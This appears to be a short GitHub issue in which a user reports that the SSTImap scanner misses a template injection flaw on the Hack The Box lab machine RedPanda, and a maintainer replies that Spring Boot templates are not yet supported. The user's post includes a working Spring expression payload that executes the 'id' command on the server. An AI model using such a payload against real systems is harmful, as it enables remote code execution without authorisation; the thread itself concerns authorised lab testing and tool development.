SSTIMap fails to find vulnerabiilty on HTB RedPanda box

[edwardsd97]

https://app.hackthebox.com/machines/481

python sstimap.py -u 'http://10.10.11.170:8080/search?name=test'

This box is vulnerable to Spring Boot e.g.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Also fails in post mode
python sstimap.py -m POST -u 'http://10.10.11.170:8080/search?name=test'

[vladko312]

SSTImap currently does not support Spring Boot templates. I will work on adding them in the future.